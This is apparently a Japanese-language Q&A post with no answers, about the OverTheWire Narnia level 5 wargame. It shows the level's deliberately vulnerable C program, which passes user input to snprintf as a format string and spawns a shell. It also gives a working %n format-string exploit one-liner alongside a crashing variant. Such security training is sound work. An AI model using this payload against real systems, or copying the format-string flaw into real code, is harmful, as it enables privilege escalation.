0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int i = 1;
    char buffer[64];

    snprintf(buffer, sizeof buffer, argv[1]);
    buffer[sizeof (buffer) - 1] = 0;
    printf("Change i's value from 1 -> 500. ");

    if(i==500){
        printf("GOOD\n");
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }

    printf("No way...let me give you a hint!\n");
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
    printf ("i = %d (%p)\n", i, &i);
    return 0;
}

やあ!私は CTF 演習 (Overthewire 5 レベル、ナルニア) に取り組んでいます。これが私が試したコードですが、2番目のオプションが機能しない理由がわかりません。

これは動作します

 ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff" + "%496x%1$n"')

これで私はSegFaultを取得します

./narnia5 $(python -c 'print "\xe0\xd6\xff\xff" + "%496x%n"')

原則は両方のバリアントで同じです。アドレスを渡すと、%n 指定子は渡されたバイト数を読み取ります。アドレスは 4 バイトかかるため、パディングで 496 バイトを追加します。私が理解しているように、それらの両方で %n はスタック上の次のアドレスを読み取ります。回答ありがとうございます。

4

0 に答える 0